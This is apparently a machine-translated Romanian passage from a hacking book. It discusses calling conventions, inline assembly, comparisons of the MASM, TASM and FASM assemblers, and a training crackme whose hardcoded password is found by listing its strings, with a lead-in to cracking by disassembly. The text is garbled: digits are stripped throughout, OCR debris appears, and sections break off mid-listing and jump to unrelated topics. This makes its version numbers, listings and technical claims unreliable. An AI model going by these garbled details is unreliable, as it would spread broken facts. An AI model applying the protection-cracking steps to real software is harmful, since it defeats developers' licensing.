de biți Desigur, aceste convenții trebuie respectate doar la apelarea funcțiilor externe (API, biblioteci etc ) Funcțiile „interne” nu trebuie să le urmeze și pot transmite argumente în orice mod imaginabil, de exemplu, prin registre Lista prezintă cel mai simplu exemplu de apel de funcție i Lista Apelarea funcțiilor API ale sistemului de operare PUSH otfset LibName ;// Împinge offset-ul liniei pe stivă CALL LoadLibrary ,-/ / Apel de funcție MOV h, EAX ;// EAX conține valoarea returnată Inserții de asamblare ca banc de testare Cât de greu este de programat în pur asamblator! Un program care rulează minim conține o mare varietate de constructe care interacționează între ele în moduri complexe și deschid focul fără avertisment Într-o lovitură, ne-am îndepărtat de împrejurimile noastre familiare Adăugarea a două numere în asamblator nu este o problemă, dar afișarea rezultatului acestei operațiuni pe ecran Inserțiile de asamblare sunt o altă chestiune Spre deosebire de manualele clasice de asamblare (Zubkov, Yurov), care literalmente de la primele rânduri aruncă cititorul în abisul programării sistemului, intimidându-l cu complexitatea terifiantă a arhitecturii procesorului și a sistemului de operare, inserțiile de asamblare lasă cititorul în mediul familiar de limbaje de nivel înalt (C și/sau Pascal) Când le folosiți, cunoașterea cu lumea interioară a procesorului are loc treptat, fără sărituri bruște În plus, inserțiile de asamblare vă permit să începeți să învățați asamblarea direct din modul protejat pe de biți al procesorului Faptul este că, în forma sa pură, modul protejat este extrem de dificil de stăpânit și, prin urmare, aproape toate manualele încep cu o descriere a modului real învechit de biți, care nu numai că se dovedește a fi un balast inutil, ci și un mijloc minunat de derutarea elevului (amintiți-vă, „uitați tot ce ați fost predat înainte ”) Metodologia de învățare bazată pe asamblare depășește toate celelalte în cel puțin două categorii: □ Viteză - literalmente, după trei sau patru zile de antrenament intensiv, o persoană care nu a cunoscut niciodată un asamblator înainte începe să programeze destul de tolerabil pe ea □ Ușurință de învățare - asamblatorul de învățare este aproape fără stres și fără efort În niciuna dintre etapele antrenamentului, elevul este bombardat cu o grămadă de informații copleșitoare și impenetrabile, iar fiecare pas ulterior este intuitiv Ei bine, ce așteptăm? Cuvântul cheie asm este folosit pentru a declara inserările de asamblare în Microsoft Visual C++ Un exemplu de program simplu care folosește inserția de asamblare, prezentate în Lista Capitolul Asambleri I Lista Inserție de asamblare pentru adăugarea a două numere principal() { int a = ; int b = ; int c; // Declaram variabila a si punem acolo valoarea // Declarați variabila a și puneți valoarea acolo // Declarați variabila c, dar nu o inițializați // Începutul inserării asamblatorului asm{ mov eax, a ; Încărcați valoarea variabilei a în registrul EAX mov ebx, b ; Încărcați valoarea variabilei b în registrul EBX add eax, ebx ; Adăugați EAX la EBX, scriind rezultatul în EAX mov c, eax ; Încărcăm valoarea lui EAX într-o variabilă cu } // Sfârșitul inserției asamblatorului // // Imprimați conținutul de pe ecran folosind funcția printf care ne este familiară printf("a + b = %x + %x = %x\n",a,b,c); Instrumente necesare Pentru a programa cu asamblare inline, aveți nevoie de un compilator cu un mediu de dezvoltare integrat (cum ar fi Microsoft Visual Studio) Inserțiile de asamblare sunt depanate în același mod ca și codul scris într-un limbaj de nivel înalt, ceea ce este foarte convenabil Programele scrise direct în limbaj de asamblare sunt traduse în codul mașinii folosind un traducător de asamblare Mai multe informații despre traducătorii de asamblare disponibili vor fi oferite în secțiunea următoare a acestui capitol, Comparația traducătorilor de asamblare Programul de asamblare tradus trebuie procesat de linker Pentru a lega programele asamblate, puteți utiliza linker-ul standard inclus cu Microsoft Visual Studio sau produsul Microsoft Platform SDK Printre linkerii non-standard, Ulink, dezvoltat de Yuri Kharon, este cel mai bun Acceptă majoritatea formatelor de fișiere și oferă multe opțiuni care nu sunt disponibile în alte linkuri Îl puteți descărca de la ftp://ftp styx cabel net/pub/UniLink/ În scopuri necomerciale, Ulink este gratuit În cele din urmă, veți avea nevoie de un depanator și dezasamblator pentru a găsi erori în propriile programe și pentru a sparge aplicațiile altora În ceea ce privește debuggerele, aveți o gamă largă de opțiuni: Microsoft Visual Debugger integrat în Microsoft Visual Studio, Microsoft Windows Debugger (WDB); Kemel Debugger, furnizat ca parte a SDK-ului și DDK-ului; SoftICE; OllyDbg, etc Dintre dezasamblatori, IDA Pro ar trebui să fie preferat ca lider incontestabil De asemenea, este o idee bună să adăugați și alte instrumente de hacking la arsenalul dvs , care au fost revizuite pe scurt în Capitolul , Setul de instrumente pentru hacker Comparația traducătorilor de asamblare Problema alegerii „singurului corect” traducător asamblator îi chinuie nu numai pe începători, ci și pe programatorii profesioniști Fiecare produs are propria sa cohortă de fani, iar argumentul despre avantaje și dezavantaje riscă să se transforme în „războaie sfinte” Este mai bine să nu creați astfel de discuții pe forumuri Această secțiune va trece în revistă pe scurt cei mai populari asamblatori (MASM, TASM, FASM, NASM, YASM) pe o gamă largă de criterii, a căror semnificație fiecare trebuie să o evalueze singur Partea I Prezentare generală a programelor de hacking Compilatoarele de limbaje de nivel înalt (C, Pascal) sunt compatibile între ele într-o anumită măsură Deși codul sursă destinat unui compilator nu este întotdeauna tradus fără modificări la altul, sintaxa și alte concepte de limbaj rămân neschimbate Datorită acestui fapt, programatorii pot „așeza” între Microsoft Visual C ++, Intel C ++, GCC, Open Watcom”, comparând caracterul complet al suportului pentru standard, viteza de traducere, calitatea generării codului, popularitatea compilatorului, numărul de biblioteci și componente suplimentare ale acestuia Cu traducătorii cu asamblare, lucrurile stau diferit S-ar părea că asamblatorul arhitecturii standard x și traducătorii ar trebui să le suporte pe cele standard Totuși, în realitate, acest lucru nu este așa Pe lângă suportul mnemonicii de instrucțiuni ale mașinii, fiecare traducător are propriul său set de directive și macro-uri, adesea incompatibile cu orice O listă de asamblare scrisă pentru traducere cu MASM este inutilă pentru a porta la FASM, deoarece capacitățile oferite de instrumentele macro diferă foarte mult între ele Pentru a parafraza o zicală cunoscută, putem spune că, alegând un traducător asamblator, alegi o soartă pe care nu o vei putea schimba mai târziu pentru o viață grozavă! Va trebui să reînveți, stăpânind de fapt o nouă limbă Dar asta nu este chiar așa de rău! Fiecare programator care se respectă dobândește în cele din urmă o grămadă de biblioteci diferite care fac toată munca murdară Unde să le puneți când treceți la un nou asamblator?! Transferul este la fel de ușor ca și rescrierea de la zero! Din fericire, assemblerul este doar un instrument, nu o religie, iar partajarea mai multor compilatoare nu a fost încă interzisă În practică, acesta este de obicei cazul Este stabilită o sarcină specifică și este selectat cel mai potrivit instrument pentru a o rezolva Desigur, pentru a face alegerea corectă, trebuie să știți ce asamblatori există în general și cum diferă unul de celălalt Criterii fundamentale Un sortiment bogat este un semn sigur al absenței unui produs care să se potrivească, dacă nu tuturor, atunci cel puțin majorității Prin urmare, dacă un anumit produs există și nu numai că există, dar adună și un număr mare de utilizatori sub aripa lui, înseamnă că acest produs este cu adevărat necesar pentru cineva Comparând asamblatorii între ei, este imposibil să găsești „cel mai bun” traducător (pur și simplu nu există așa ceva) Această secțiune reunește pur și simplu toate informațiile despre capabilitățile pe care le oferă, deoarece semnificația oricărui criteriu este întotdeauna subiectivă prin definiție O persoană care ignoră cu încăpățânare existența Linux/BSD este absolut indiferentă față de numărul de platforme pe care a fost portat cutare sau cutare traducător Și pentru unii, aceasta este o chestiune de o importanță capitală! Cu toate acestea, există o serie de criterii fundamentale care sunt esențiale pentru toate categoriile de programatori Să începem cu generarea informațiilor de depanare, fără de care depanarea unui program este mai dificilă decât „Bună, lume”, se transformă într-o adevărată tortură Aici, unii încearcă deja să argumenteze că asamblatorii, spre deosebire de limbajele de nivel înalt, nu au nevoie de informații de depanare, deoarece mnemonicii instrucțiunilor mașinii sunt aceleași în listare și în depanator Și etichetele?! Dar structurile? Dar numele de funcții? Eliminați-le - și codul devine complet ilizibil! Puteți utiliza, desigur, imprimarea de depanare: doar introduceți macrocomenzi în punctele de program care vă interesează, afișând valorile registrelor / variabilelor pe ecran sau într-un fișier Cu mult timp în urmă, când dispozitivele de depanare interactive nu existau încă, imprimarea de depanare era principalul instrument pentru tratarea erorilor De asemenea, puteți depana programul ținând în față o imprimare a textelor sursă, dar aceasta este deja o perversiune Open Watcom este un proiect de compilator open source bazat pe compilatorul comercial Watcom Pagina principală a proiectului este http:/Avww openwatcom org/index php/Main Page Capitolul Asambleri Problema este că formatul informațiilor de depanare nu este standardizat, iar compilatoare diferite folosesc formate diferite Acest lucru limitează alegerea noastră de depanare sau ne obligă să folosim convertoare terțe Mai mult decât atât, este de menționat că unii asamblatori (de exemplu, FASM) nu generează deloc informații de depanare Ei bine, cel puțin cel mai simplu fișier de hartă, eh Dar dacă formatul informațiilor de depanare este „curtea din spate” a traducătorului, atunci formatul fișierelor de ieșire este „fața” acestuia Cei neinițiați vor doar să ridice din umeri Care este formatul? Un fișier obj obișnuit, din care, folosind linkerul, puteți face orice doriți - de la exe la dll De fapt, fișierele obiect „obișnuite” nu există în natură Există fișiere omf (în ediții de la Microsoft și IBM), coff , elf , a out și multe alte formate exotice în stilul as , rdf , ieee etc De remarcată este și posibilitatea de „end-to-end” generarea de fișiere binare care nu necesită ajutor de la linker Și unii asamblatori (de exemplu, FASM) vă permit chiar să generați „manual” fișiere executabile și biblioteci dinamice de diferite formate, controlând complet procesul de creare a acestora și completând câmpurile cheie la discreția dvs Cu toate acestea, programele scrise în întregime în assembler sunt fie viruși, fie programe demo, fie programe de antrenament De regulă, numai componentele dependente de sistem sau modulele care sunt critice pentru performanță sunt scrise în asamblator, care sunt apoi legate de proiectul principal Prin urmare, dacă asamblatorul generează doar omf, iar compilatorul generează coff, atunci există o problemă de asamblare a „diverselor” formate împreună Un singur linker este capabil să facă acest lucru - Ulink de Yuri Kharon, care oferă, de asemenea, opțiuni bogate pentru asamblarea fișierelor „manual” Prin urmare, alegerea unui anumit traducător de asamblare depinde în totalitate de conștiința (și competența) programatorului, dar este totuși mai bine ca atât asamblatorul, cât și compilatorul să genereze fișiere obiect de aceleași formate Un alt criteriu important este numărul de arhitecturi de procesoare suportate, dintre care există deja mai mult de o duzină în linia x Desigur, comenzile lipsă pot fi implementate folosind macro-uri sau programate direct în cod nativ prin directiva db Cu toate acestea, dacă gândiți așa, atunci de ce avem nevoie de asamblatori când există editori hexadecimale?! O atenție deosebită trebuie acordată platformelor AMD x - și Intel IA Indiferent dacă ne place sau nu, arhitecturile pe de biți au șanse mari de a împinge x , așa că învățarea programării pentru ele este o necesitate, așa că sprijinul lor de la traducător ar trebui să fie oferit chiar acum! Apropo, niciunul dintre traducători nu acceptă integral setul de instrucțiuni al procesoarelor x De exemplu, în MASM este imposibil să scrieți jmp h: ooooooooh și trebuie să recurgeți la OMF - Object Module Format COFF - format de modul obiect comun (Common Object File Format) ELF - Format executabil și link A OUT este un format clasic de cod obiect UNIX (denumirea în sine înseamnă „Assembler Output”), în prezent înlocuit de ELF (modulele executabile nu au extensii, fișierele obiect au extensia o) Asamblatorul pe biți pentru Linux as are propriul său format de fișier obiect non-standard Deși linkerul pentru acest asamblator ld generează fișiere similare cu formatul standard a out, formatul de fișier obiect folosit pentru a comunica între as și ld are un format diferit de a out Fișierele cu extensia rdf sunt fișiere obiect RDOFF (Relocatable Dynamic Object File Format) RDOFF este un format de fișier obiect conceput pentru traducătorul NASM Formatul IEEE (IEEE- ) este utilizat pe multe platforme (inclusiv Motorola , Motorola HC , Hitachi, Zilog) și pentru programarea multiplatformă Partea /, Prezentare generală a programelor de hacking la diverse avantaje De exemplu, este posibil să implementați o comandă prin db, dar acest lucru este inelegant și incomod O alternativă este să împingeți segmentul/offset-ul pe stivă și apoi retf, dar acest lucru este prea greoi și, în plus, această abordare folosește o stivă pe care s-ar putea să nu o avem Programarea într-un amestec de cod pe și de biți cu o scurtă tranziție la modul protejat și revenirea la real este în general un cântec Ai prefera să mori pe MASM decât să programezi asta, dar majoritatea programatorilor pur și simplu nu au nevoie de acest tip de șmecherie Dar ceea ce are nevoie cu adevărat majoritatea este integrarea în comunitatea mondială Dezvoltarea propriilor sisteme de operare este de obicei realizată de cercetători independenți entuziaști În curriculum, acest lucru este, fără îndoială, foarte bun, dar programatorii comerciali trebuie de obicei să programeze în sistemele existente, de exemplu, același Windows Și dacă DDK include MASM și o mulțime de cod sursă de driver, atunci încercarea de a le construi sub alt traducător este o pierdere de timp Din nou, dacă setați comutatorul /fa la compilatorul Microsoft Visual C++, acesta va produce o listă de asamblare în stilul MASM DA lui Ryu va face același lucru, Borland C++ va alege TASM (bine, bineînțeles!), iar GCC va alege GNU Assembler (aka GAS) Aceasta este integrarea în mediu Asamblatorul pur este rareori folosit singur și este aproape întotdeauna folosit ca aplicație pentru altceva Adică, dacă scrieți drivere pentru Windows în Microsoft Visual C++, atunci este cel mai rezonabil să optați pentru MASM, în timp ce fanii Borland C++ nu vor găsi nimic mai bun decât TASM Sub Linux/BSD GAS (GNU Assembler) este în frunte, cel puțin datorită faptului că programele de asamblare pot fi traduse folosind compilatorul GCC, folosind preprocesorul C și scăpând de bataia de cap de a căuta codul de pornire și biblioteci Cu toate acestea, GAS folosește sintaxa AT&T , care este exact opusul sintaxei Intel urmată de MASM, TASM, FASM, NASM/YASM Dezvoltatorii de viruși și doar mici programe de asamblare scrise din dragoste pentru artă sunt mult mai puțin limitați în alegerea lor și pot folosi orice le place, indiferent de gradul de „suport” Calitatea documentației este foarte importantă La fel de important este cine deține proiectul Traducătorii creați de entuziaști singuri pot muri în orice moment, așa că nu este recomandat să te bazezi pe ei pe termen lung Asamblerii comerciali ai companiilor mari arată mult mai stabili și de nezdruncinat, dar nu există garanții că la un moment „perfect” compania nu va înceta să-și susțină produsul (doar amintiți-vă povestea cu TASM) Traducătorii deschiși menținuți de un grup independent de oameni sunt cei mai rezistenți De îndată ce echipa NASM și-a oprit puțin dezvoltarea, imediat a apărut YASM - a „împrumutat” textele sursă și a adăugat tot ce este necesar (suport x - , format de informații de depanare CodeView etc ) Ultimul lucru pe care aș dori să mă concentrez este macro-instrumentele Atitudinea programatorilor față de ei este dublă Unii folosesc roadele progresului cu putere și principal, programarea într-un amestec de asamblator, BASIC și preprocesor C (există chiar și un proiect HLA: High Level Assembler - High Level Assembler), alții le disprețuiesc, susținând puritatea codului de asamblare Așa că află cine are dreptate și cine greșește! Macro-urile simplifică programarea, permițând adesea imposibilul (de exemplu, criptarea codului programului în etapa de asamblare!), dar portabilitatea programului se deteriorează brusc din aceasta, iar tranziția la un alt traducător devine dificil de implementat Dar oricum ar fi, suportul macro nu vă obligă deloc să utilizați aceste macro-uri! La cea mai recentă versiune de GAS inclusă cu GNU binutils , a fost adăugat și suport pentru syn-axis limbajului de asamblare Intel (vezi http://sources redhat com/binutils/) Capitolul Asambleri MASM Un produs de viață de la începutul Microsoft, care a fost necesar pentru a crea MS-DOS și mai târziu pentru Windows a/NT După lansarea versiunii MASM , dezvoltarea produsului a încetinit o vreme, dar apoi bunul simț a preluat controlul, iar cea mai recentă versiune ( la momentul scrierii acestui articol) acceptă Unicode, toate extensiile SSE / SSEII / SSEIII (declarat prin două directive / chem), precum și arhitectura AMD x - Platforma Intel IA nu este acceptată, dar Microsoft furnizează asamblatorul Intel AS EXE Abrevierea MASM nu înseamnă Microsoft Assembler, ci Macro Assembler, adică „Assembler cu Macro Support” Macro-urile acoperă o gamă largă de sarcini cu capacitățile lor: repetarea operațiunilor de același tip cu parametrizare (șabloane), macro-uri ciclice, asamblare condiționată etc Există totuși un suport rudimentar pentru principalele paradigme OOP, care nu a primit prea mult distribuție, deoarece asamblatorul și OOP sunt incompatibile conceptual Mulți programatori scriu fără macro-uri în pur asamblare, considerând că modul lor este cel mai corect din punct de vedere ideologic Dar nu există nicio dispută în privința gusturilor La început, MASM a fost distribuit ca pachet de sine stătător (și foarte scump), dar mai târziu a fost inclus în produsul DDK, care a fost distribuit gratuit până la Windows DDK, iar acum este disponibil doar pentru abonații MSDN Cu toate acestea, un DDK cu drepturi depline (cu asamblator) pentru Windows Server este inclus în cadrul Kernel-Mode Driver, iar traducătorul MASM în sine este inclus și în produsul Visual Studio Express, care este, de asemenea, distribuit gratuit Steve Hutchessen a împachetat cele mai recente versiuni ale compilatorului MASM, linkerul Microsoft, includ fișiere, biblioteci, documentație extinsă, articole de asamblare de la diverși autori și chiar un mediu de dezvoltare integrat simplu (IDE) într-o singură distribuție cunoscută sub numele de „Pachetul Hutch” ( Pachetul lui Hutch), distribuit gratuit tuturor pe bază de licență completă Deci, acesta nu este un hack, ci un set destul de convenabil de instrumente pentru programare sub Windows în asamblator (Fig ) Există multe cărți dedicate traducătorului MASM, ceea ce simplifică procesul de învățare, iar în rețea puteți găsi multe coduri sursă pentru programe de asamblare și biblioteci care eliberează programatorul de a fi nevoit să reinventeze roata În plus, MASM este limbajul de ieșire pentru multe dezasamblatoare (Sourcer, IDA Pro) Toate acestea fac din MASM traducătorul numărul unu în programare pentru platforma Wintel Sunt acceptate două formate de ieșire: Microsoft OMF pe / de biți și COFF pe / de biți Acest lucru vă permite să difuzați următoarele tipuri de programe: P Programe MS-DOS pe / de biți care rulează în modul real și protejat, □ Aplicații și drivere pe biți pentru Windows Z g, □ Aplicații și drivere pe de biți pentru Windows a/NT, □ Aplicații și drivere pe de biți pentru Windows NT Ediția pe de biți Pentru a crea fișiere binare, veți avea nevoie de un linker care este capabil să facă acest lucru (de exemplu, Ulink de la Yuri Kharon) De altfel, cele mai recente versiuni ale linkerului obișnuit Microsoft incluse în SDK și DDK și-au pierdut capacitatea de a construi fișiere pe biți sub MS-DOS/Windows Prin urmare, dacă aveți o astfel de nevoie, va trebui să reveniți la versiunea veche, care se află în folderul NTDDK\win me\bin! MASM generează informații de depanare în format CodeView pe care Microsoft Linker le poate converti în formatul Program Database (PDB) Deși acest format nu este documentat, este acceptat de biblioteca dbghelp dll Acest lucru permite dezvoltatorilor terți să interpreteze informațiile de depanare, astfel încât fișierele compilate cu MASM pot fi depanate în SoftICE, dezasamblate în IDA Pro și produse similare Wintel = Windows + Intel Partea I Prezentare generală a programelor de hacking Orez Instalarea pachetului Hatch Principalul dezavantaj al MASM este un număr mare de erori Trebuie doar să deschizi Baza de cunoștințe, să te uiți la lista erorilor confirmate oficial și să fii îngrozit! Cum se poate programa pe MASM după aceea?! Există mai ales multe erori în biblioteca obișnuită Iată doar câteva exemple: Funcțiile dwtoa și atodw ex nu recunosc semnul și sunt foarte lente din punct de vedere al vitezei, deși documentația spune: „A high speed ascii decimal string to DWORD conversion for applications that require high speed streaming of conversion data” P Funcția ucFind nu găsește un subșir într-un șir dacă subșirul are caracter Funcțiile BMHBinsearch și SBMBinSearch, care caută folosind algoritmul de căutare Boyer-Moore, sunt implementate cu erori P Unele funcții blochează programul (de exemplu, dacă treceți un șir mai lung de cinci octeți funcției ustr dw, programul se blochează) Un alt dezavantaj este lipsa suportului pentru unele instrucțiuni și moduri de adresare a procesorului Deci, de exemplu, este imposibil să implementezi jmp far seg:offset, iar încercarea de a crea un cod mixt de / de biți este un adevărat coșmar pe care trebuie să-l faci cu mâinile, depășind rezistența „mentalității” traducătorului În cele din urmă, MASM este un produs tipic de sursă închisă a cărui soartă este învăluită în întuneric Microsoft promovează activ programarea la nivel înalt, abandonând asamblarea oriunde este posibil, așa că este posibil ca în câțiva ani MASM să înceteze să mai existe Conversie zecimală în dword ASCII de mare viteză pentru aplicații care necesită date de conversie de mare viteză Capitolul Asambleri Cu toate acestea, în ciuda tuturor acestor deficiențe, MASM rămâne cel mai popular traducător profesionist de asamblare atunci când programează sub linia Windows NT Deși dezvoltatorii trebuie să înjure îngrozitor, nu există alternative reale TASM Cel mai popular traducător de asamblare MS-DOS de la Borland, pe deplin compatibil cu MASM până la versiunea x și care acceptă propriul mod IDEAL cu multe îmbunătățiri și extensii Confortul de programare, cerințele de sistem modeste și vitezele mari de traducere au menținut TASM în prim-plan de-a lungul existenței MS-DOS Dar odată cu apariția Windows, popularitatea TASM a început să se topească în fața ochilor noștri Incapabil (sau nedorind) să realizeze compatibilitatea cu fișierele de antet și bibliotecile incluse în SDK/DDK, Borland a decis să furnizeze propria versiune portată, și departe de a fi ideală În plus, linkerul obișnuit tlink/tlink nu acceptă capacitatea de a crea drivere, iar formatul fișierului de ieșire (Microsoft OMF, IBM OMF, PharLap) nu este acceptat de versiunile curente ale linkerului Microsoft (totuși, versiunile pe biți sunt capabil de asta) În plus, formatul de informații de depanare nu este compatibil cu CodeView și doar Turbo Debugger și SoftICE sunt cu adevărat acceptate Aceste probleme sunt în mod fundamental rezolvabile, deoarece posibilitatea de programare a asamblatorului de nivel scăzut (fără fișiere incluse și macro-uri) a fost păstrată, iar incompatibilitatea formatului este compensată de prezența convertoarelor Cu toate acestea, avantajele modului IDEAL față de sintaxa standard MASM păreau din ce în ce mai puțin semnificative pe zi ce trece, iar rândurile fanilor proiectului s-au diminuat, iar în cele din urmă acesta a fost închis Cea mai recentă versiune a traductorului TASM a fost versiunea , care acceptă seturile de instrucțiuni ale procesoarelor Intel până la Un patch a fost lansat separat, actualizând TASM la versiunea și ridicându-l până la Pentium MMX, totuși, comenzile Pentium II (pentru exemplu, sysenter) nu a funcționat și nu funcționează Lipsește și suportul Unicode Borland a încetat să-și mai distribuie asamblatorul și îl puteți obține doar din magazinele vechi de CD-ROM sau de la vreun colecționar O persoană cunoscută sub numele de !tE a lansat un pachet TASM + care include un traducător, linker, biblioteci, ceva documentație, câteva fișiere de antet pentru Windows și câteva demonstrații Când căutați acest pachet, nu îl confundați cu TASM de la Squak Valley Software - este un cross-assembler complet independent care vizează , / / HC , , TMS , TMS C , TMS , / , / , , Z , / S KS, de a cărui existență majoritatea dintre noi suntem în cel mai bun caz pur și simplu conștienți În general, putem spune că TASM este un asamblator mort Cu toate acestea, este încă potrivit pentru dezvoltarea de aplicații sub Windows / și MS-DOS Acest lucru este valabil mai ales dacă aveți deja experiență de lucru cu el și cu unele dintre propriile dezvoltări (biblioteci, macro-uri), de care este păcat să vă despărțiți, iar convertirea la MASM este foarte problematică S-ar putea să vă placă gratuit Lazy Assembler (de Stepan Polovnikov), compatibil cu modul IDEAL TASM și care acceptă comenzi de la MMX, SSE, SSEII, SSEin, DNow!Pro FASM A scrie despre proiecte de cult fără a atinge sentimentele credincioșilor, menținând în același timp o doză sănătoasă de scepticism și obiectivism, nu este atât de ușor, mai ales dacă tu însuți ești un fan al acestuia FASM este un traducător extrem de neobișnuit, cu caracteristici exotice pe care cu toții le așteptăm de mult (și fără succes!) de la marii producători care erau prea departe TASM = Turbo Assembler FASM - Flat Mode Assembler (Asamblator Fiat) Partea I Prezentare generală a programelor de hacking din programare practică și a încercat să creeze noi nevoi (de exemplu, prin introducerea suportului pentru OOP), în loc să le satisfacă pe cele existente Acest lucru a continuat până când Tomasz Giysztar, un student absolvent la Universitatea Jagiellonian din Cracovia, s-a gândit să-și scrie propriul sistem de operare, numit Titan, care era un fel de sistem DOS pentru modul protejat După ce a trecut prin mai mulți traducători asamblatori, dar încă nu a găsit unul potrivit printre aceștia, Tomasz a făcut un pas destul de ambițios, hotărând să dezvolte singur instrumentele necesare Acest lucru s-a întâmplat în - - , : : (data creării primului fișier), iar la începutul lui mai exista o versiune capabilă să se traducă singură (FASM este scris în FASM) Sistemul de operare a murit eroic într-un dezastru accidental, dar codul sursă FASM a rămas și de atunci a continuat să se dezvolte activ Ce este FASM? Acesta este un asamblator cu o sintaxă extrem de simplificată (fără directive de aglomerare a listelor precum offset), suport complet pentru toate comenzile procesorului (inclusiv jmp : ), un generator de cod de înaltă calitate, un macroprocesor puternic și un format flexibil de fișier de ieșire sistem de control FASM este distribuit gratuit în codul sursă Acum a fost portat pe MS-DOS, Windows x/NT, Linux, BSD FASM acceptă Unicode și toate procesoarele x până la Pentium cu seturi de instrucțiuni multimedia MMX, SSE, SSEII, SSEIII, AMD DNow!, precum și platforma AMD x - Acest lucru vă permite să generați nu numai Microsoft COFF, ci și fișiere gata făcute în formatele bin, mz , re și elf Adică, de fapt, FASM vă permite să faceți fără un linker, cu toate acestea, în acest caz, aspectul secțiunilor din fișierul PE și tabelul de import trebuie să fie create „manual” folosind directive speciale de asamblare Pare foarte tentant, dar în practică este încă mult mai convenabil să generați un fișier coff și să îl legați cu module scrise în limbaje de nivel înalt Limbajul macro FASM este atât de puternic încât vă permite să scrieți programe pe dvs fără o singură linie de asamblare Un exemplu de astfel de program este prezentat în Lista Și lasă cineva să mormăie, ei bine, aici, spun ei, este o altă încercare de a coborî asamblatorul la nivelul de bază Nimic de genul asta! Macro-urile sunt opționale Dacă vrei - folosește-l, dacă nu vrei - nu Lista Un program scris în întregime în limbajul interpretat FASM fișier „interp asm” repeta$ încărcați un octet din %-l dacă A>='a' și A mp far ptr O: F h API-ul UNIX La fel ca Windows, UNIX are și API-uri - biblioteci de nivel înalt și, în primul rând, LIBC (un analog condiționat al KERNEL DLL în Win ), un exemplu al cărui exemplu a fost prezentat în Listarea Unii hackeri tind să folosească apeluri de sistem (syscalls), care sunt un fel de API nativ, implementat diferit în sisteme diferite Acest lucru face dificilă scrierea de programe care acceptă mai multe arhitecturi hardware diferite Cu toate acestea, utilizarea apelurilor de sistem este justificată la scrierea codului încorporat (cod shell), precum și în viermi și viruși, datorită simplității și compactității apelului lor Cel mai simplu program de asamblare pentru UNIX/Linux Cel mai simplu program de asamblare care funcționează prin biblioteca standard LIBC și scoate „Hello, world!” la consolă, prezentată în Listarea Capitolul Asambleri ^ Lista Codul sursă al programuluiіТат Offset de la începutul fișierului eu I I -> Șir de text II D :LCMapStringW OOOO D F:KERNEL dl C:crackme h A:introduceți password: D:my good parola F:parolă greșită C:parola ok AF:bună ziua, utilizator legal C : ?AV OS@@ DE: ?AVistream@@ : ?AVistream withassign@@ E: ?AVostream@@ : ?AVostream withassign@@ : ?AVstreambuf@@ E: ?AVfilebuf@@ A : ?AVtype info@@ Exemplul în sine poate fi găsit pe CD-ul furnizat cu această carte, acest exemplu se află în directorul :\PART \CH \SRC\crackme C F lEA h Implementarea finală a programului de filtrare se numește filter c și se află pe CD în directorul \PART \CH \SRC\crackme C F lEA h Capitolul Încălzirea Luați în considerare lista rezultată Atenție la linia my good password, situată la Dh Nu ar putea fi parola? Cel mai adesea (dar nu neapărat), șirul de căutare este situat suficient de aproape de textul care solicită utilizatorului să introducă o parolă (introduceți passwd:) Mai jos ( AFh) vedem un alt „candidat” Să vedem dacă măcar una dintre ele funcționează (Listing ) j Lista Reacția de protecție la V₽°D a primului șir-candidat întâlnit pentru parole > crackme C FllEA h exe introduceți passwd:ptu • bine parolă parola ok salut, utilizator legal' Răspunsul apărării mărturisește în mod elocvent predarea sa completă și necondiționată În ciuda simplității sale, această metodă nu este lipsită de dezavantaje Cel mai important dintre ele este că un hack de succes nu este garantat Dacă dezvoltatorul nu este complet naiv, atunci parola nu va fi clară O metodă de hacking mai fiabilă (dar, din păcate, mai consumatoare de timp) este dezasamblarea programului cu analiza ulterioară a algoritmului de protecție Aceasta este o muncă laborioasă și minuțioasă, care necesită nu numai cunoștințe de limbaj de asamblare, ci și perseverență, precum și intuiție Cu toate acestea, ochilor le este frică, iar mâinile Introducere în dezasamblare Bine, avem parola Dar cât de plictisitor să îl introduci de fiecare dată de la tastatură înainte de a începe programul! Ar fi bine să-l piratați, astfel încât să nu fie solicitată deloc o parolă sau orice parolă introdusă să fie percepută ca fiind corectă Tu spui hack?! Ei bine, nu este greu! Este mult mai problematic să decideți ce anume să-l piratați Setul de instrumente al hackerilor este extrem de divers - nu există nimic aici: dezasamblatoare și depanatoare și AP și spioni de mesaje și monitoare pentru accesarea fișierelor (porturi, registry) și despachetatoare de fișiere executabile și Încercați cu totul cu aceste ferme! Cu toate acestea, spionii, monitoarele, dezambalatorii sunt utilități „secundare”, iar arma principală a unui cracker este un depanator și un dezasamblator Să le aruncăm o privire mai atentă Nu lăsați numele „dezasamblator” să vă inducă în eroare: dezasamblatorul este potrivit pentru a studia nu numai acele programe care au fost scrise în asamblator - gama de aplicații este foarte largă, deși nu nelimitată Unde se află această graniță? În general, toate implementările limbajelor de programare sunt împărțite în compilatoare și interpreți Interpreții execută programul în forma în care a fost tastat de programator Cu alte cuvinte, interpreții „mestecă” textul sursă, în timp ce codul programului este disponibil pentru studiu direct, fără instrumente suplimentare Un exemplu ar fi aplicațiile scrise în limbi precum Basic sau Perl După cum știți, pentru a le rula, pe lângă codul sursă al programului, trebuie să aveți și interpretul în sine Acest lucru nu este incomod nici pentru utilizatori (pentru a executa un program de KB, trebuie să instalați un interpret de MB), nici pentru dezvoltatori (la bine și la memorie sobră, distribuiți textele sursă ale programului lor tuturor!) În plus, analizarea necesită timp și niciun interpret nu se poate lăuda cu performanță Compilatorii se comportă diferit - la prima pornire „macinează” programul în codul mașinii, care este executat direct de procesorul însuși, fără referire la textele sursă sau la compilatorul însuși Din punctul de vedere al unei persoane obișnuite, programul compilat este un amestec fără sens de numere hexazecimale, care nu este ușor de înțeles Partea a II-a Tehnici de bază de hacking un cialist este absolut imposibil Acest lucru facilitează dezvoltarea mecanismelor de protecție - fără a cunoaște algoritmul, nu puteți rupe orbește protecția, ei bine, decât dacă este foarte simplu Este posibil să obțineți codul sursă al unui program din codul mașinii? Nu! Compilarea este un proces unidirecțional Iar ideea aici nu este doar că etichetele și comentariile sunt șterse iremediabil (ne vom da seama fără comentarii - suntem hackeri sau nu?!) Principala piatră de poticnire este ambiguitatea corespondenței instrucțiunilor mașinii cu construcțiile limbajelor de nivel înalt Mai mult, asamblarea este, de asemenea, un proces unidirecțional, iar dezasamblarea automată este fundamental imposibilă O serie de sisteme de dezvoltare ocupă o poziție intermediară între compilatoare și interpreți - programul sursă nu este convertit în cod mașină, ci într-un alt limbaj interpretat, pentru a cărui execuție se adaugă propriul interpret la fișierul „compilat” FoxPro, Chpper, numeroase dialecte de bază și alte limbi funcționează exact conform acestei scheme Da, codul programului este încă executat în modul de interpretare, dar acum toate informațiile redundante au fost eliminate din el - etichetele, numele variabilelor, comentariile și numele operatorilor 